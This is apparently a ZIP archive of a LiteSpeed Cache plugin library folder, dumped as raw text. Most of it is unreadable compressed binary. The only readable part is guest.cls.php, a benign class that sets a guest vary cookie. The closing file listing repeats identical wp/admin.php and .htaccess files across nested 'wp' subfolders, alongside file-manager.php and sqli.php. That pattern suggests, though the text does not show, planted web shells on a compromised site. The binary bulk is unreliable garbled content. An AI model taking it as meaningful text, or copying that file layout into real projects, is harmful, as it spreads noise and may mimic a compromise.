'q.DӲz!YUfÎm:aJosmvywndbc~nz7a9\gJޯsN$-|lיaBt'6=XrPК]AsO^osmvywndbctusizcofhjaȳд	gƚt.9d /,MEnqܮ}UmR Ya9ĥln;tJtp8LJ"uKǣsvGsk3!s_,4NĥK]c򺴮sus\PnO1QD@&'~9fР:M*lVRq?rE=^nw.4]8B=fYX!Hf~97㚗?!!i%Re^=s&#2URx(zqedՙUX7/P6b|HdWXefGp7osmvywndbc4⿲A)yղ9И+s=]6ЈoO;9J]~_C4n|w"~\w@fn8raGS{3d
[A$؟۶Z"S3f!0(PxO8\0.B`p Ai1;bp*KWӶXÿj]UX+0յ|guDtusizcofhj,{ɥk"d*3t%H^\T9OꟘjކS1V7+Gfa)}^@QN2
;$#+gkKx+^R#8bmKQp{2GgbmutĘKґE8C=yH_sPE&yMy cp|0|[QF~Ծ%BF˚ζkD-SV|;A0UQywA0UZ!RĨ/kvo[Hf%kn
ߣXP;,^85riakہu؂C~uK;jI	x8lv)&"@9-J,׈X1Y(Ł} ggmV l qӭsmi4(
e+@MZ8#ӺY&":؈6~,8*5%57O0nCLGn[oc(NMpLkԺJx),=I*`]osmvywndbc}pgC\SwWw9튷,&.gCI\, {n8\S]osmvywndbcژAoͪEǓEC\* tLQ|. g/\0uʯfջ0jK7/8	}OK*Hs,0]b_%u AצQrRK⹼Ⱥe-&״ߚ7dMz%A#7,qH"vUlosmvywndbcW-8xakFyVRucktusizcofhjxK;lX~#i&#şz:ѭILFqG=D	o?T'AfID
4?Aۼ#BcƝ/_Z$	b*8	ħJ/V=-_uV|m\tusizcofhj% 9sWaֱH
qp!V?\7ZB+bKY`3`ޯb, _t;L\D`+tusizcofhj?y)C|؆=%z*s3#w^Ȟxq)17FG&ܓe1{6[o׽(Q2hosmvywndbc
`2D/'P&r;e[=5ZluosmvywndbcCSA\{[RP\=l}}ͣsr
&,TH8Uϲj;tusizcofhjl"@OaQ/M0'9XhrpmyKG9nsL|Oa\eHgIi8LˋVq2FVRǢ
B}~M4_:K}E&xse`[pxqپ2Kfiz04-I;PR0cp#^%IҍddxQ	3Tt{=VRΝ侺e0$^!5U6/Q,IucۂEI7Cad
U Dv9oGkBHosmvywndbcHf$$xBaa#Yρ`A}hrtusizcofhjua~4Z[bt'&|BnkesVmFVKuVlơ~N&bma0ie.JlRA,;Z9\yZ\SMC/SZ֩$f{3c~Z2Լ:gCEzb/ -ۜ4|P^VXuƊ/);,5"	Gw!k-$oJjn:O_D򵾥
$|+ItusizcofhjxXXFޏ|E\dtusizcofhjV0kL'Bs\YZl\|(tL-6_1@H^osmvywndbc!n@M[ƪKtusizcofhjOb}Jٹsɚj,/8߶aGVdXtusizcofhjPlEdQp~)	4yB61A2"Ǹ	K4FyN6TjU%d#s?!Y\B}L{+=vty9Znę^1NyijeA0	oEwxlhf&bOrHM4K0z+o}#wpE[]YGwqYhx# s֓"pW;=t$y&osmvywndbc+gxj}`π$y8bqqnlWe+(QƩhnk5oI?^OMjuv~#ԋWjÅ5D(Mosmvywndbc:ݣ~O`*gcԴeU!&UQ	܇2Y\ƒJosmvywndbc1`oUvXhg!I&kݶÁ:@	 dX-MosmvywndbcEvZaBŞ0j[)mn^:#nuGKr*{f.osmvywndbc7QYQ6H:TU^2d[H]aK6D\voqߞM.xwN^LT 9K-r3׌6j)Ҿ52Ku6jtusizcofhjT,Ia%i.ljV]9	fHiV5ymZD+cAdM-6gejepd%G10`=(܊NnkkdcY:k`RqlX|[{_VDkIW:96 ]'ќ;#Ttosmvywndbc|Bv^ďVosmvywndbcX9rK?=s~Ua@"UUvV'5  IrfEK܊(Upsi-)&n/?Sʥ2^VMJS}).9IF^	y:]at"D5LoOnؖ[]_X[;m-)t 3`9YȂ%&JK%&3$Ah)"l^
C27enosmvywndbc򶯒+R[f&&Gz	V$#MDXZZO${ĝ/J	zwI%18$P
5m*A0srE{s\Cfb9B] zLdmotusizcofhj|TT}@F4Dh++Z
N@ာ1izC%1Xd-c;ISd;WHAP3V
ҷ[!4|S!@" .'s/1}yqt|
)?E0k`ǬdmP^hzPO#ץ#߹8#coRɠqf~tusizcofhjDtxޞA	F@S;RtusizcofhjP0IUU*$/%JÎUe}4rDas+nk
[8HBp8)tusizcofhjy.&\_osmvywndbc}~y(Rm=W@;jDaN\JܙH%rl3߭e$q%{{~]&)f
C 	:kv%3KlFs5oήڧC:)z[s쉖jxP뢧	=͜__ jT=osmvywndbce,"dqL}'(tusizcofhjwzN˭6osmvywndbcOޢ}{b8Mg'z=.l*7By,- ܫxvwݚKͩ	.Sm|2/6	ޝ6[ҳFnT4iosmvywndbc?xa-Ƙ'5LnR԰7B5/0uUr(&^,CaF#@Ϊco]ͫ,[_cۯ/+pɧˑ$(+&ӣE$~Gd;*a"j)p`IwUJ]s:yqhc 	zx0iGrn2i#H d2vr܇v^fJT;7i됵osmvywndbcb
!#M	%!h߷D&3ATosmvywndbc.|p\.mĆ;$k*3}^!~%tusizcofhjpt* [8׷Bh"0,Q
5APPxJ^ot7CR[FJp{yַO4W#.|8^@H&OnO$tO	ĳNp
SL{Uӯxe$Z4jx7)nFLeljı)4b9hk0Sg/XW;ІD4,ַ#+XTQŪ߹;:0,zF! elT$Z*r5OGKtI~U#ouaz1jۣ@m3X@ÀҜez#-aۻj7;!l3W^
1fK9i5Ki:KI)z{? :)n+yo*
zCuBa	%JU;&Zj|\ģCkĺlqڌ|C\|3l!0ǝ7p!dsMT|2j	jh,-jLSYSëosmvywndbcEֿN 5;NKP@Md.osmvywndbcjmꢙYG9 tqf\č^)9fo;(8\CE2M?̤tusizcofhjosmvywndbcn9}8㱌, Ysnʫ$|?Ҳ,̚-rs'F QX5En"f\osmvywndbciCFowRۯ~SR).@mXbE.ȺjsS6BUQ*~(7gZ27#L`]v }ē2GY#*([ Ey'7osmvywndbcY2foh
n7$OfQ9dmW-;=dƿE_Rx+^um]|$5 lvGcwǌ}]}ĥ`|{\ )/9w7wv~Ci3el4?.J?kx|M;D։c	0R3hNMoEf!d.(zP'*@h\n{n[Z[2@z,- %g2tr#9XBbifh0M %U+R٠&tY1y'p9{s$AKtÇT[0	n)لOwNS:hMCŻ#SmNj)5.#g *o6d8ŨatusizcofhjH"-W\7(Jst!|Q.^Ԗ9WԷ/n:%~?XWouFREM'z,Iqh[K#osmvywndbcpi[,
RCRhN}ocIc[ˀbEXAw%)k4Kh&'P}9ɿ
ٖ%y}*([A.tPLtusizcofhjVI*e@\kHDd~}!I1%.7!;*־'ԝ)U%Ց2-j2C4D/LgTb9NBGqĩզ*%6&*Uu#sS`! 49l1,Ir`8`=҃~(
3hux.lew:ɔ/^-
!F8W9XcA!BosmvywndbcDgم\4wM5护KNg)lQnR7:Z$Wa4E]6K)$͗/0~H]~{Ў9Wsu=z2V%vEwi,Ipk0ڹ:|/a]zN;.LJnpRYcj;NO{H!̄ت RX15#v](sBȌق1uOlm2gXx5z趴r֠C$2~O`ukɪy[Fvzg4osmvywndbcLlEtusizcofhjK~GPAf`;Yóv1@d9ar_zif+e]y*o˙d?osmvywndbcDL'tlt^4:vQ-:10N{QM!zp3 .@}}焪jq{XL]@ho!܆4gflFԷ.)$x^-:L&%ιL0o&\2Ñ킨*P?th.
'tusizcofhj*B]I-G=2t[$c܉L"h] ;o~ͻOHMk;=qLkESvȖz&$CAf)QaUK%Xw;]Vs4osmvywndbcYʔ	`0#xrޒuZH=FZafBN.N	W=!ϗFo"~b	F F2K4;%`L b׵~1UWڭ0u*D:dɁ|0{k=qxtQ	}av09zn}T,&B 1d~(|^Mb?Y*5{=1mU]||+wM3[!'ឲ1?ۉ?{Җ%.](NW&SOe+UlӁ}4cC7VK :)a^tusizcofhjtC7H $ Yz%4OǴ\Ös0?kMX)QEcޓJS@7-Gxx9^RR&%rhS ژuc# 7Ѵ\7AhvOM^mH{|G8?䍞I~ׂFT]	EՆ3ZwDf$~jEA֚~D~BiݬTW8Bzco46X
o~ߜ警6y1.+Wosmvywndbcjosmvywndbc1"8Cosmvywndbc=]m?ya%F0s?߽y/+4o(׍2~Gou%6osmvywndbcVtusizcofhj@tFwqCċ]ufqhr4滇/7ĻasjW{McKڲ]+ntusizcofhjxӑݶ 'Z:+	V(Y	ȫ5~ql'	'.3*wlD+,}P?ipBWzSi2o,cf89['GId,,\p#RoE˰Ya.%Äg#Q~S,Y4xLo\ޤiauT۾j郆os8"0a:pl6VS
"ku
$ǜC%Z]:g/$M-wlԲ^49 "z4`\5W$l89L39g/LA."{Q-F+-^|.R,(9:-Ip^iܸ A;:NotwW|iܻ70!EnzM%osmvywndbcH eVC9W0(#IHeeHosmvywndbc  %}/'%HIj\bXFՕ\k~BWlV7r.L;l.okxōGC+m92af;H92dosmvywndbcJF|;jBXHp{ޛpPptusizcofhjyUǿͫ?DԮ:KAvT6ER3F,шN޶~b}#l	 g9Ŷnosmvywndbc{cY#K⣝IҞ]#(Du6r$}1u%t*:ǀ\IEIg,2n(˚Xݎ6HgjɃgzyÔ0R*vo4y߻|_51bLD~C7uO0[Kosmvywndbc{꾬(3ugZttusizcofhj%F05Xosmvywndbcv=YT{TVT؎ᐖaN"`BR,$,F%"(I\R	Wg̟0nwTu9tusizcofhj-osmvywndbcosmvywndbcWKk2	aϺ{d\!)#gVTiGҲx@Ghl=0BxSD8!3(_-PK       ! z0      guest.cls.phpnu [        <?php

namespace LiteSpeed\Lib;

/**
 * Update guest vary
 *
 * @since 4.1
 */
class Guest
{
	const CONF_FILE = '.litespeed_conf.dat';
	const HASH 					= 'hash'; // Not set-able
	const O_CACHE_LOGIN_COOKIE 	= 'cache-login_cookie';
	const O_DEBUG 				= 'debug';
	const O_DEBUG_IPS 			= 'debug-ips';
	const O_UTIL_NO_HTTPS_VARY 		= 'util-no_https_vary';
	const O_GUEST_UAS = 'guest_uas';
	const O_GUEST_IPS = 'guest_ips';

	private static $_ip;
	private static $_vary_name = '_lscache_vary'; // this default vary cookie is used for logged in status check
	private $_conf = false;

	/**
	 * Construtor
	 *
	 * @since 4.1
	 */
	public function __construct()
	{
		!defined('LSCWP_CONTENT_FOLDER') && define('LSCWP_CONTENT_FOLDER', dirname(dirname(dirname(__DIR__))));
		// Load config
		$this->_conf = file_get_contents(LSCWP_CONTENT_FOLDER . '/' . self::CONF_FILE);
		if ($this->_conf) {
			$this->_conf = json_decode($this->_conf, true);
		}

		if (!empty($this->_conf[self::O_CACHE_LOGIN_COOKIE])) {
			self::$_vary_name = $this->_conf[self::O_CACHE_LOGIN_COOKIE];
		}
	}

	/**
	 * Update Guest vary
	 *
	 * @since  4.0
	 */
	public function update_guest_vary()
	{
		// This process must not be cached
		/**
		 * @reference https://wordpress.org/support/topic/soft-404-from-google-search-on-litespeed-cache-guest-vary-php/#post-16838583
		 */
		header('X-Robots-Tag: noindex');
		header('X-LiteSpeed-Cache-Control: no-cache');

		if ($this->always_guest()) {
			echo '[]';
			exit;
		}

		// If contains vary already, don't reload to avoid infinite loop when parent page having browser cache
		if ($this->_conf && self::has_vary()) {
			echo '[]';
			exit;
		}

		// Send vary cookie
		$vary = 'guest_mode:1';
		if ($this->_conf && empty($this->_conf[self::O_DEBUG])) {
			$vary = md5($this->_conf[self::HASH] . $vary);
		}

		$expire = time() + 2 * 86400;
		$is_ssl = !empty($this->_conf[self::O_UTIL_NO_HTTPS_VARY]) ? false : $this->is_ssl();
		setcookie(self::$_vary_name, $vary, $expire, '/', false, $is_ssl, true);

		// return json
		echo json_encode(array('reload' => 'yes'));
		exit;
	}

	/**
	 * WP's is_ssl() func
	 *
	 * @since 4.1
	 */
	private function is_ssl()
	{
		if (isset($_SERVER['HTTPS'])) {
			if ('on' === strtolower($_SERVER['HTTPS'])) {
				return true;
			}

			if ('1' == $_SERVER['HTTPS']) {
				return true;
			}
		} elseif (isset($_SERVER['SERVER_PORT']) && ('443' == $_SERVER['SERVER_PORT'])) {
			return true;
		}
		return false;
	}

	/**
	 * Check if default vary has a value
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public static function has_vary()
	{
		if (empty($_COOKIE[self::$_vary_name])) {
			return false;
		}
		return $_COOKIE[self::$_vary_name];
	}

	/**
	 * Detect if is a guest visitor or not
	 *
	 * @since  4.0
	 */
	public function always_guest()
	{
		if (empty($_SERVER['HTTP_USER_AGENT'])) {
			return false;
		}

		if ($this->_conf[self::O_GUEST_UAS]) {
			$quoted_uas = array();
			foreach ($this->_conf[self::O_GUEST_UAS] as $v) {
				$quoted_uas[] = preg_quote($v, '#');
			}
			$match = preg_match('#' . implode('|', $quoted_uas) . '#i', $_SERVER['HTTP_USER_AGENT']);
			if ($match) {
				return true;
			}
		}

		if ($this->ip_access($this->_conf[self::O_GUEST_IPS])) {
			return true;
		}

		return false;
	}

	/**
	 * Check if the ip is in the range
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function ip_access($ip_list)
	{
		if (!$ip_list) {
			return false;
		}
		if (!isset(self::$_ip)) {
			self::$_ip = self::get_ip();
		}
		// $uip = explode('.', $_ip);
		// if(empty($uip) || count($uip) != 4) Return false;
		// foreach($ip_list as $key => $ip) $ip_list[$key] = explode('.', trim($ip));
		// foreach($ip_list as $key => $ip) {
		// 	if(count($ip) != 4) continue;
		// 	for($i = 0; $i <= 3; $i++) if($ip[$i] == '*') $ip_list[$key][$i] = $uip[$i];
		// }
		return in_array(self::$_ip, $ip_list);
	}

	/**
	 * Get client ip
	 *
	 * @since 1.1.0
	 * @since  1.6.5 changed to public
	 * @access public
	 * @return string
	 */
	public static function get_ip()
	{
		$_ip = '';
		if (function_exists('apache_request_headers')) {
			$apache_headers = apache_request_headers();
			$_ip = !empty($apache_headers['True-Client-IP']) ? $apache_headers['True-Client-IP'] : false;
			if (!$_ip) {
				$_ip = !empty($apache_headers['X-Forwarded-For']) ? $apache_headers['X-Forwarded-For'] : false;
				$_ip = explode(',', $_ip);
				$_ip = $_ip[0];
			}
		}

		if (!$_ip) {
			$_ip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : false;
		}
		return $_ip;
	}
}
PK         ! Cb*  *                  http.phpnu [        PK         ! -  -              W*  shutdown.phpnu [        PK         !                 /  request.phpnu [        PK         ! [                  api.phpnu [        PK         ! n n             ļ  wp/admin.phpnu [        PK         ! 'q q             n_ wp/content.phpnu [        PK         ! D9V  9V               wp/file-manager.phpnu [        PK         ! pkz                >' wp/wp/.htaccessnu 7m        PK         ! n n             0+ wp/wp/admin.phpnu 7m        PK         ! -              	 waf.phpnu [        PK         ! c  c              
 storage.phpnu [        PK         ! Cc#  #  
            
 xmlrpc.phpnu [        PK         !  @:  :  	             utils.phpnu [        PK         ! n n             ( storage/wp/admin.phpnu 7m        PK         ! pkz                a storage/wp/.htaccessnu 7m        PK         ! B                e storage/file.phpnu [        PK         !  ;w  ;w               storage/mysql.phpnu [        PK         ! |@  @              I parser/lexer.phpnu [        PK         ! {Y  Y              _ parser/parser.phpnu [        PK         ! n n             Y) parser/wp/admin.phpnu 7m        PK         ! pkz                
 parser/wp/.htaccessnu 7m        PK         ! wS S               parser/sqli.phpnu [        PK         ! 71x  x              ]# json.phpnu [        PK         ! D	  	              h view.phpnu [        PK         ! ȉ4    
             config.phpnu [        PK         ! lM                 i18n.phpnu [        PK         ! 	7    	            Q rules.phpnu [        PK         ! ܽDpT  T              m html-min.cls.phpnu [        PK         ! 5L                 jsmin.cls.phpnu [        PK         ! 2e                C php-compatibility.func.phpnu [        PK         ! 垧                  Y jsmin_data/keywords_before.txtnu [        PK         ! x9   9                Z jsmin_data/keywords_after.txtnu [        PK         ! n n             Z jsmin_data/wp/admin.phpnu 7m        PK         ! pkz                ; jsmin_data/wp/.htaccessnu 7m        PK         ! g0s   s               5 jsmin_data/operators_before.txtnu [        PK         ! [N                  jsmin_data/keywords_reserved.txtnu [        PK         ! )cdx   x                jsmin_data/operators.txtnu [        PK         ! iOr   r                jsmin_data/operators_after.txtnu [        PK         ! д                e object-cache.phpnu [        PK         ! Cs	o(  o(              r css-min/urirewriter.cls.phpnu [        PK         ! ROx	  	              ,4 css-min/utils.cls.phpnu [        PK         ! f                zD css-min/colors.cls.phpnu [        PK         ! wncy  cy              RZ css-min/minifier.cls.phpnu [        PK         ! pkz                 css-min/wp/wp/.htaccessnu 7m        PK         ! n n              css-min/wp/wp/admin.phpnu 7m        PK         ! n n             z css-min/wp/admin.phpnu [        PK         ! z0                ^ guest.cls.p